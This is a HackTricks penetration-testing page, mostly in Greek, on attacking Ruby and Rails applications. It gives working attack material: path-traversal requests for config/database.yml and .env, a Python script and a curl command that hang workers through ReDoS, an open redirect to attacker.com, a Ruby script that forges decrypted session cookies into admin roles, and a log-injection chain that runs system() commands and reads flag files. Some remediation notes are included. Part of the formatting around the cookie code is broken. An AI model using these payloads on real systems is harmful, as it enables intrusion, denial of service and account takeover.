Ruby Tricks

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Μεταφόρτωση αρχείου για RCE

Όπως εξηγείται στο αυτό το άρθρο, το ανέβασμα ενός .rb αρχείου σε ευαίσθητους καταλόγους όπως config/initializers/ μπορεί να οδηγήσει σε remote code execution (RCE) σε εφαρμογές Ruby on Rails.

Συμβουλές:

  • Άλλες τοποθεσίες boot/eager-load που εκτελούνται στην εκκίνηση της εφαρμογής είναι επίσης επικίνδυνες όταν είναι εγγράψιμες (π.χ., config/initializers/ είναι το κλασικό παράδειγμα). Αν βρείτε ένα arbitrary file upload που καταλήγει οπουδήποτε κάτω από config/ και αργότερα αξιολογείται/required, μπορεί να αποκτήσετε RCE κατά το boot.
  • Αναζητήστε dev/staging builds που αντιγράφουν user-controlled αρχεία μέσα στην container image όπου το Rails θα τα φορτώσει κατά την εκκίνηση.

Active Storage image transformation → command execution (CVE-2025-24293)

Όταν μια εφαρμογή χρησιμοποιεί Active Storage με image_processing + mini_magick, και περνάει μη-εμπιστευόμενες παραμέτρους σε μεθόδους μετασχηματισμού εικόνας, εκδόσεις του Rails πριν από τις 7.1.5.2 / 7.2.2.2 / 8.0.2.1 μπορούν να επιτρέψουν command injection επειδή ορισμένες μεθόδοι μετασχηματισμού επιτρέπονταν κατά λάθος από προεπιλογή.

  • A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>

where params[:t] and/or params[:v] are attacker-controlled.

  • Τι να δοκιμάσετε κατά τη διάρκεια των δοκιμών

  • Εντοπίστε endpoints που δέχονται variant/processing options, ονόματα transformation, ή arbitrary ImageMagick arguments.

  • Κάντε fuzz στα params[:t] και params[:v] για ύποπτα errors ή execution side-effects. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να αποκτήσετε code exec στον host που τρέχει τον image processor.

  • Αν έχετε μόνο read-access στα παραγόμενα variants, δοκιμάστε blind exfiltration μέσω crafted ImageMagick operations.

  • Αποκατάσταση/ανιχνεύσεις

  • Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage + image_processing + mini_magick και μετασχηματισμούς ελεγχόμενους από τον χρήστη, θεωρήστε το εκμεταλλεύσιμο. Συνιστάται αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους καθώς και μια hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

Αν το target stack χρησιμοποιεί Rack middleware άμεσα ή μέσω frameworks, εκδόσεις του rack πριν από 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω Rack::Static όταν το :root είναι unset/misconfigured. Encoded traversal στο PATH_INFO μπορεί να αποκαλύψει αρχεία κάτω από τον working directory της διεργασίας ή ένα μη αναμενόμενο root.

  • Ψάξτε για apps που mountάρουν Rack::Static στο config.ru ή στα middleware stacks. Δοκιμάστε encoded traversals ενάντια σε static paths, για παράδειγμα:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env

Προσαρμόστε το prefix ώστε να ταιριάζει με τα διαμορφωμένα urls:. Αν η εφαρμογή απαντήσει με περιεχόμενο αρχείου, πιθανότατα έχετε LFI προς οτιδήποτε κάτω από το επιλυθέν :root.

  • Μέτρο αντιμετώπισης: αναβαθμίστε Rack; διασφαλίστε ότι το :root δείχνει μόνο σε έναν κατάλογο με public files και έχει οριστεί ρητά.

Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)

Το Rack < 3.0.9.1 και < 2.2.8.1 ξόδευε υπερ-γραμμικό χρόνο στο parsing κατασκευασμένων Content-Type: multipart/form-data headers. Ένα μόνο POST με μια γιγαντιαία λίστα παραμέτρων A= μπορεί να κολλήσει έναν worker του Puma/Unicorn και να προκαλέσει DoS ή εξάντληση της ουράς αιτήσεων.

  • Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
  • Λειτουργεί ενάντια σε οποιοδήποτε Rack-based stack (Rails/Sinatra/Hanami/Grape). Αν βρίσκεται πίσω από nginx/haproxy με keep-alive, επαναλάβετέ το παράλληλα για να εξαντλήσετε τους workers.
  • Επιδιορθώθηκε κάνοντας τον parser γραμμικό· ψάξτε για έκδοση του gem rack < 3.0.9.1 ή < 2.2.8.1. Στις αξιολογήσεις, επισημάνετε ότι τα WAF σπάνια μπλοκάρουν αυτό επειδή το header είναι συντακτικά έγκυρο.

REXML XML parser ReDoS (CVE-2024-49761)

Το gem REXML < 3.3.9 (Ruby 3.1 και νωρίτερα) κάνει καταστροφικό backtracking όταν διαβάζει hex numeric character references που περιέχουν μεγάλες ακολουθίες ψηφίων (π.χ., &#1111111111111x41;). Οποιοδήποτε XML επεξεργάζεται το REXML ή βιβλιοθήκες που το τυλίγουν (SOAP/XML API clients, SAML, SVG uploads) μπορεί να καταχραστεί για εξάντληση CPU.

Ελάχιστο trigger για ένα Rails endpoint που αναλύει XML:

curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.

Εφαρμογές που χρησιμοποιούν το cgi gem (default in many Rack stacks) μπορούν να παγώσουν με ένα μόνο κακόβουλο header:

  • CGI::Cookie.parse ήταν υπερ-γραμμικό; τεράστια cookie strings (χιλιάδες delimiters) ενεργοποιούν O(N²) συμπεριφορά.
  • CGI::Util#escapeElement regex επέτρεπε ReDoS στο HTML escaping.

Και τα δύο θέματα έχουν διορθωθεί στο cgi 0.3.5.1 / 0.3.7 / 0.4.2. Για pentests, στείλτε ένα τεράστιο Cookie: header ή τροφοδοτήστε untrusted HTML σε helper code και παρακολουθήστε το worker lockup. Συνδυάστε με keep-alive για ενίσχυση.

Το googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) έκανε ανεπαρκή same-origin έλεγχο στην παράμετρο proceedto. Μια κακομορφωμένη URL όπως proceedto=//attacker.com/%2F.. παρακάμπτει τον έλεγχο και ανακατευθύνει τον χρήστη σε εξωτερικό site ενώ διατηρεί Rails flash/session cookies.

Exploit flow:

  1. Victim clicks crafted Google Sign-In link hosted by attacker.
  2. After authentication, the gem redirects to attacker-controlled domain, leaking flash notices or any data stored in cookies scoped to the wildcard domain.
  3. If the app stores short-lived tokens or magic links in flash, this can be turned into account takeover.

Κατά τη δοκιμή, grep Gemfile.lock για googlesign_in < 1.3.0 και δοκιμάστε κακομορφωμένες τιμές proceedto. Επιβεβαιώστε μέσω Location header και cookie reflection.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby to decrypt/forge cookies ```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'

secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])

salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”

Modify and re-encrypt (example: escalate role)

plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”

</details>
Σημειώσεις:
- Παλαιότερες εφαρμογές μπορεί να χρησιμοποιούν AES-256-CBC και salts `encrypted cookie` / `signed encrypted cookie`, ή JSON/Marshal serializers. Προσαρμόστε τα salts, cipher, και serializer αναλόγως.
- Σε περίπτωση compromise/assessment, ανανεώστε το `secret_key_base` για να ακυρώσετε όλα τα υπάρχοντα cookies.

## Δείτε επίσης (ευπάθειες ειδικά για Ruby/Rails)

- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>


## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

Όταν μια εφαρμογή (συχνά ένα απλό Rack/Sinatra/Rails endpoint) και τα δύο:
- καταγράφει μια συμβολοσειρά που ελέγχεται από τον χρήστη αυτούσια, και
- αργότερα `load`-ει ένα αρχείο του οποίου το path προέρχεται από την ίδια συμβολοσειρά (μετά από `Pathname#cleanpath`),

Συχνά μπορείτε να πετύχετε απομακρυσμένη εκτέλεση κώδικα δηλητηριάζοντας το log και στη συνέχεια αναγκάζοντας την εφαρμογή να `load`-άρει το αρχείο log. Βασικά primitives:

- Το Ruby `load` αξιολογεί το περιεχόμενο του στοχευόμενου αρχείου ως Ruby ανεξάρτητα από την επέκταση αρχείου. Οποιοδήποτε αναγνώσιμο αρχείο κειμένου των οποίων τα περιεχόμενα αναλύονται ως Ruby θα εκτελεστεί.
- Το `Pathname#cleanpath` συμπτύσσει τα segments `.` και `..` χωρίς να προσπελάζει το filesystem, επιτρέποντας path smuggling: απορρίμματα ελεγχόμενα από τον επιτιθέμενο μπορούν να προστεθούν στην αρχή για logging ενώ το καθαρισμένο path εξακολουθεί να επιλύεται στο επιθυμητό αρχείο προς εκτέλεση (π.χ., `../logs/error.log`).

### Ελάχιστο ευάλωτο μοτίβο
```ruby
require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Γιατί το log μπορεί να περιέχει έγκυρο Ruby

Logger γράφει γραμμές προθέματος όπως:

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

Στο Ruby, το # ξεκινά ένα σχόλιο και το 9/2/2025 είναι απλώς αριθμητική. Για να εισάγετε έγκυρο Ruby κώδικα πρέπει να:

  • Ξεκινήστε το payload σε νέα γραμμή ώστε να μην σχολιάζεται από το # στη γραμμή INFO· στείλτε ένα αρχικό newline (\n ή %0A).
  • Κλείστε το ανοιχτό [ που εισήχθη από τη γραμμή INFO. Ένα συνηθισμένο κόλπο είναι να ξεκινήσετε με ] και προαιρετικά να ικανοποιήσετε τον parser με ][0]=1.
  • Στη συνέχεια τοποθετήστε αυθαίρετο Ruby (π.χ., system(...)).

Παράδειγμα του τι θα καταλήξει στο log μετά από ένα αίτημα με crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Κρυφή μεταφορά μιας μόνο συμβολοσειράς που τόσο καταγράφει κώδικα όσο και επιλύεται στη διαδρομή των logs

Θέλουμε μία attacker-controlled συμβολοσειρά που:

  • όταν καταγραφεί raw, περιέχει το Ruby payload μας, και
  • όταν περάσει μέσω Pathname.new(<input>).cleanpath, επιλύεται σε ../logs/error.log ώστε το επακόλουθο load να εκτελέσει το μόλις δηλητηριασμένο αρχείο καταγραφής.

Pathname#cleanpath αγνοεί τα schemes και συμπτύσσει τα traversal components, οπότε το παρακάτω λειτουργεί:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • Το # πριν από το :// διασφαλίζει ότι η Ruby αγνοεί το υπόλοιπο όταν ο log εκτελείται, ενώ η cleanpath εξακολουθεί να μειώνει το επίθημα σε ../logs/error.log.
  • Το leading newline διακόπτει τη γραμμή INFO; το ] κλείνει την κρεμάμενη αγκύλη; το ][0]=1 ικανοποιεί τον parser.

Εκμετάλλευση από άκρο σε άκρο

  1. Στείλτε τα ακόλουθα ως το όνομα του backup script (URL-encode την πρώτη newline ως %0A αν χρειάζεται):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  1. Η εφαρμογή καταγράφει την ακατέργαστη συμβολοσειρά σας στο logs/error.log.
  2. Η εφαρμογή υπολογίζει το cleanpath, το οποίο επιλύεται σε ../logs/error.log, και καλεί load πάνω του.
  3. Η Ruby εκτελεί τον κώδικα που εγχύσατε στο log.

Για να εξάγετε ένα αρχείο σε ένα περιβάλλον τύπου CTF:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (ο πρώτος χαρακτήρας είναι νέα γραμμή):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks